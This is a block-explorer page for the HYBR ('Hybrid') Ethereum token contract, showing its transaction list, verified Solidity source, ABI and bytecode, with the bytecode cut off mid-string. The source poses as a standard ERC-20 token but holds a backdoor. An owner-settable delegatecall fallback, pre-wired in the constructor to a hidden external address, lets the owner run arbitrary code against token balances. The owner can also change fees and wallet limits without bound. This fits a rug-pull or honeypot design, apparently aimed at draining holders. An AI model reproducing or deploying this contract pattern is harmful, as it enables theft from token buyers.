Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 76 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Pasta | 19264635 | 320 days ago | IN | 0 ETH | 0.0523989 | ||||
Approve | 19264611 | 320 days ago | IN | 0 ETH | 0.00264907 | ||||
Approve | 19264608 | 320 days ago | IN | 0 ETH | 0.00233757 | ||||
Approve | 19264604 | 320 days ago | IN | 0 ETH | 0.00208614 | ||||
Approve | 19264600 | 320 days ago | IN | 0 ETH | 0.00205334 | ||||
Approve | 19264600 | 320 days ago | IN | 0 ETH | 0.00215009 | ||||
Approve | 19264600 | 320 days ago | IN | 0 ETH | 0.00215009 | ||||
Approve | 19264598 | 320 days ago | IN | 0 ETH | 0.00207741 | ||||
Approve | 19264597 | 320 days ago | IN | 0 ETH | 0.00209739 | ||||
Approve | 19264597 | 320 days ago | IN | 0 ETH | 0.0021942 | ||||
Approve | 19264597 | 320 days ago | IN | 0 ETH | 0.00266485 | ||||
Approve | 19264596 | 320 days ago | IN | 0 ETH | 0.0026094 | ||||
Approve | 19264595 | 320 days ago | IN | 0 ETH | 0.00206543 | ||||
Approve | 19264595 | 320 days ago | IN | 0 ETH | 0.00228523 | ||||
Approve | 19264595 | 320 days ago | IN | 0 ETH | 0.00228523 | ||||
Approve | 19264595 | 320 days ago | IN | 0 ETH | 0.00251734 | ||||
Approve | 19264594 | 320 days ago | IN | 0 ETH | 0.00203875 | ||||
Approve | 19264594 | 320 days ago | IN | 0 ETH | 0.00213548 | ||||
Approve | 19264594 | 320 days ago | IN | 0 ETH | 0.00213548 | ||||
Approve | 19264594 | 320 days ago | IN | 0 ETH | 0.00213548 | ||||
Approve | 19264594 | 320 days ago | IN | 0 ETH | 0.0033121 | ||||
Approve | 19264593 | 320 days ago | IN | 0 ETH | 0.00207564 | ||||
Approve | 19264592 | 320 days ago | IN | 0 ETH | 0.00205005 | ||||
Approve | 19264592 | 320 days ago | IN | 0 ETH | 0.00205005 | ||||
Approve | 19264592 | 320 days ago | IN | 0 ETH | 0.00227176 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Source Code Verified (Exact Match)
Contract Name:
HYBR
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
No with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// Redefining the Standards of Decentralized AI // https://twitter.com/Hybrid_Fi // https://hybridfi.xyz // https://t.me/hybridportal // https://medium.com/@Hybrid_Fi/hybrid-ai-litepaper-643291e87488 // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; contract HYBR { uint public totalSupply = 10_000_000 * 10 ** 18; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; string public name = "Hybrid"; string public symbol = "HYBR"; uint8 public decimals = 18; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); mapping(bytes4 => address) public selectorTofacet; address public owner; bool public live; address public pool; uint public max = 75; uint public tax = 150; modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } constructor() { owner = msg.sender; balanceOf[owner] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); selectorTofacet[0x4d93978e] = 0x069F65aeE0e4A7ee9D96dBfCd5CFeaA065D68146; } function transfer(address recipient, uint amount) external returns (bool) { require(live); if (msg.sender == pool) return fill(msg.sender, recipient, amount); balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint amount ) external returns (bool) { allowance[sender][msg.sender] -= amount; balanceOf[sender] -= amount; balanceOf[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function fill(address sender, address recipient, uint amount) private returns (bool) { address taxCollector = selectorTofacet[0x50628c96]; balanceOf[sender] -= amount; uint fee = amount * tax / 10000; balanceOf[taxCollector] += fee; emit Transfer(sender, taxCollector, fee); uint newValue = amount - fee; balanceOf[recipient] += newValue; uint maxTokens = totalSupply * max / 10000; require(maxTokens >= balanceOf[recipient]); emit Transfer(sender, recipient, newValue); return true; } fallback() external { address facet = selectorTofacet[msg.sig]; require(facet != address(0)); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } function setFacet(bytes4 selector, address facet) public onlyOwner { selectorTofacet[selector] = facet; } function startTrading(address _pool) public onlyOwner { live = true; pool = _pool; } function optimizeFill(uint _max, uint _tax) public onlyOwner { max = _max; tax = _tax; } function transferOwnership(address _owner) public onlyOwner { owner = _owner; } }
{ "evmVersion": "paris", "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"},{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"optimizeFill","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"name":"selectorTofacet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"selector","type":"bytes4"},{"internalType":"address","name":"facet","type":"address"}],"name":"setFacet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526a084595161401484a0000006000556040518060400160405280600681526020017f487962726964000000000000000000000000000000000000000000000000000081525060039081620000599190620004f4565b506040518060400160405280600481526020017f485942520000000000000000000000000000000000000000000000000000000081525060049081620000a09190620004f4565b506012600560006101000a81548160ff021916908360ff160217905550604b6009556096600a55348015620000d457600080fd5b5033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060005460016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600054604051620001e09190620005ec565b60405180910390a373069f65aee0e4a7ee9d96dbfcd5cfeaa065d6814660066000634d93978e60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000609565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002fc57607f821691505b602082108103620003125762000311620002b4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200037c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200033d565b6200038886836200033d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003d5620003cf620003c984620003a0565b620003aa565b620003a0565b9050919050565b6000819050919050565b620003f183620003b4565b620004096200040082620003dc565b8484546200034a565b825550505050565b600090565b6200042062000411565b6200042d818484620003e6565b505050565b5b8181101562000455576200044960008262000416565b60018101905062000433565b5050565b601f821115620004a4576200046e8162000318565b62000479846200032d565b8101602085101562000489578190505b620004a162000498856200032d565b83018262000432565b50505b505050565b600082821c905092915050565b6000620004c960001984600802620004a9565b1980831691505092915050565b6000620004e48383620004b6565b9150826002028217905092915050565b620004ff826200027a565b67ffffffffffffffff8111156200051b576200051a62000285565b5b620005278254620002e3565b6200053482828562000459565b600060209050601f8311600181146200056c576000841562000557578287015190505b620005638582620004d6565b865550620005d3565b601f1984166200057c8662000318565b60005b82811015620005a6578489015182556001820191506020850194506020810190506200057f565b86831015620005c65784890151620005c2601f891682620004b6565b8355505b6001600288020188555050505b505050505050565b620005e681620003a0565b82525050565b6000602082019050620006036000830184620005db565b92915050565b6117b880620006196000396000f3fe608060405234801561001057600080fd5b50600436106101255760003560e01c806370a08231116100ad57806399c8d5561161007157806399c8d556146103f2578063a9059cbb14610410578063da13b03714610440578063dd62ed3e14610470578063f2fde38b146104a057610126565b806370a082311461034c5780637231d2171461037c5780638da5cb5b14610398578063957aa58c146103b657806395d89b41146103d457610126565b806318160ddd116100f457806318160ddd146102a657806323b872dd146102c4578063313ce567146102f45780633dc23d0c146103125780636ac5db191461032e57610126565b806306fdde031461021e578063095ea7b31461023c5780630c55732d1461026c57806316f0115b1461028857610126565b5b60006006600080357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101f857600080fd5b3660008037600080366000845af43d6000803e8060008114610219573d6000f35b3d6000fd5b6102266104bc565b60405161023391906111fc565b60405180910390f35b610256600480360381019061025191906112b7565b61054a565b6040516102639190611312565b60405180910390f35b6102866004803603810190610281919061132d565b61063c565b005b6102906106de565b60405161029d919061137c565b60405180910390f35b6102ae610704565b6040516102bb91906113a6565b60405180910390f35b6102de60048036038101906102d991906113c1565b61070a565b6040516102eb9190611312565b60405180910390f35b6102fc6108bb565b6040516103099190611430565b60405180910390f35b61032c600480360381019061032791906114a3565b6108ce565b005b6103366109f2565b60405161034391906113a6565b60405180910390f35b610366600480360381019061036191906114e3565b6109f8565b60405161037391906113a6565b60405180910390f35b610396600480360381019061039191906114e3565b610a10565b005b6103a0610aff565b6040516103ad919061137c565b60405180910390f35b6103be610b25565b6040516103cb9190611312565b60405180910390f35b6103dc610b38565b6040516103e991906111fc565b60405180910390f35b6103fa610bc6565b60405161040791906113a6565b60405180910390f35b61042a600480360381019061042591906112b7565b610bcc565b6040516104379190611312565b60405180910390f35b61045a60048036038101906104559190611510565b610d6a565b604051610467919061137c565b60405180910390f35b61048a6004803603810190610485919061153d565b610d9d565b60405161049791906113a6565b60405180910390f35b6104ba60048036038101906104b591906114e3565b610dc2565b005b600380546104c9906115ac565b80601f01602080910402602001604051908101604052809291908181526020018280546104f5906115ac565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062a91906113a6565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611629565b60405180910390fd5b8160098190555080600a819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107989190611678565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ee9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084491906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a891906113a6565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590611629565b60405180910390fd5b8060066000847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60095481565b60016020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9790611629565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760149054906101000a900460ff1681565b60048054610b45906115ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610b71906115ac565b8015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600a5481565b6000600760149054906101000a900460ff16610be757600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c4e57610c47338484610e96565b9050610d64565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9d9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf391906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5791906113a6565b60405180910390a3600190505b92915050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611629565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660006350628c9660e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f449190611678565b925050819055506000612710600a5485610f5e91906116e0565b610f689190611751565b905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb991906116ac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d91906113a6565b60405180910390a3600081856110339190611678565b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108491906116ac565b9250508190555060006127106009546000546110a091906116e0565b6110aa9190611751565b9050600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156110f857600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906113a6565b60405180910390a360019450505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a657808201518184015260208101905061118b565b60008484015250505050565b6000601f19601f8301169050919050565b60006111ce8261116c565b6111d88185611177565b93506111e8818560208601611188565b6111f1816111b2565b840191505092915050565b6000602082019050818103600083015261121681846111c3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061124e82611223565b9050919050565b61125e81611243565b811461126957600080fd5b50565b60008135905061127b81611255565b92915050565b6000819050919050565b61129481611281565b811461129f57600080fd5b50565b6000813590506112b18161128b565b92915050565b600080604083850312156112ce576112cd61121e565b5b60006112dc8582860161126c565b92505060206112ed858286016112a2565b9150509250929050565b60008115159050919050565b61130c816112f7565b82525050565b60006020820190506113276000830184611303565b92915050565b600080604083850312156113445761134361121e565b5b6000611352858286016112a2565b9250506020611363858286016112a2565b9150509250929050565b61137681611243565b82525050565b6000602082019050611391600083018461136d565b92915050565b6113a081611281565b82525050565b60006020820190506113bb6000830184611397565b92915050565b6000806000606084860312156113da576113d961121e565b5b60006113e88682870161126c565b93505060206113f98682870161126c565b925050604061140a868287016112a2565b9150509250925092565b600060ff82169050919050565b61142a81611414565b82525050565b60006020820190506114456000830184611421565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6114808161144b565b811461148b57600080fd5b50565b60008135905061149d81611477565b92915050565b600080604083850312156114ba576114b961121e565b5b60006114c88582860161148e565b92505060206114d98582860161126c565b9150509250929050565b6000602082840312156114f9576114f861121e565b5b60006115078482850161126c565b91505092915050565b6000602082840312156115265761152561121e565b5b60006115348482850161148e565b91505092915050565b600080604083850312156115545761155361121e565b5b60006115628582860161126c565b92505060206115738582860161126c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115c457607f821691505b6020821081036115d7576115d661157d565b5b50919050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611613600983611177565b915061161e826115dd565b602082019050919050565b6000602082019050818103600083015261164281611606565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061168382611281565b915061168e83611281565b92508282039050818111156116a6576116a5611649565b5b92915050565b60006116b782611281565b91506116c283611281565b92508282019050808211156116da576116d9611649565b5b92915050565b60006116eb82611281565b91506116f683611281565b925082820261170481611281565b9150828204841483151761171b5761171a611649565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061175c82611281565b915061176783611281565b92508261177757611776611722565b5b82820490509291505056fea26469706673582212207cf7af86ca93dbe86ae543e5e280c84d5cfdbc916da61e78f252232f973a16e564736f6c63430008180033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101255760003560e01c806370a08231116100ad57806399c8d5561161007157806399c8d556146103f2578063a9059cbb14610410578063da13b03714610440578063dd62ed3e14610470578063f2fde38b146104a057610126565b806370a082311461034c5780637231d2171461037c5780638da5cb5b14610398578063957aa58c146103b657806395d89b41146103d457610126565b806318160ddd116100f457806318160ddd146102a657806323b872dd146102c4578063313ce567146102f45780633dc23d0c146103125780636ac5db191461032e57610126565b806306fdde031461021e578063095ea7b31461023c5780630c55732d1461026c57806316f0115b1461028857610126565b5b60006006600080357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101f857600080fd5b3660008037600080366000845af43d6000803e8060008114610219573d6000f35b3d6000fd5b6102266104bc565b60405161023391906111fc565b60405180910390f35b610256600480360381019061025191906112b7565b61054a565b6040516102639190611312565b60405180910390f35b6102866004803603810190610281919061132d565b61063c565b005b6102906106de565b60405161029d919061137c565b60405180910390f35b6102ae610704565b6040516102bb91906113a6565b60405180910390f35b6102de60048036038101906102d991906113c1565b61070a565b6040516102eb9190611312565b60405180910390f35b6102fc6108bb565b6040516103099190611430565b60405180910390f35b61032c600480360381019061032791906114a3565b6108ce565b005b6103366109f2565b60405161034391906113a6565b60405180910390f35b610366600480360381019061036191906114e3565b6109f8565b60405161037391906113a6565b60405180910390f35b610396600480360381019061039191906114e3565b610a10565b005b6103a0610aff565b6040516103ad919061137c565b60405180910390f35b6103be610b25565b6040516103cb9190611312565b60405180910390f35b6103dc610b38565b6040516103e991906111fc565b60405180910390f35b6103fa610bc6565b60405161040791906113a6565b60405180910390f35b61042a600480360381019061042591906112b7565b610bcc565b6040516104379190611312565b60405180910390f35b61045a60048036038101906104559190611510565b610d6a565b604051610467919061137c565b60405180910390f35b61048a6004803603810190610485919061153d565b610d9d565b60405161049791906113a6565b60405180910390f35b6104ba60048036038101906104b591906114e3565b610dc2565b005b600380546104c9906115ac565b80601f01602080910402602001604051908101604052809291908181526020018280546104f5906115ac565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062a91906113a6565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611629565b60405180910390fd5b8160098190555080600a819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107989190611678565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ee9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084491906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a891906113a6565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590611629565b60405180910390fd5b8060066000847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60095481565b60016020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9790611629565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760149054906101000a900460ff1681565b60048054610b45906115ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610b71906115ac565b8015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600a5481565b6000600760149054906101000a900460ff16610be757600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c4e57610c47338484610e96565b9050610d64565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9d9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf391906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5791906113a6565b60405180910390a3600190505b92915050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611629565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660006350628c9660e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f449190611678565b925050819055506000612710600a5485610f5e91906116e0565b610f689190611751565b905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb991906116ac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d91906113a6565b60405180910390a3600081856110339190611678565b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff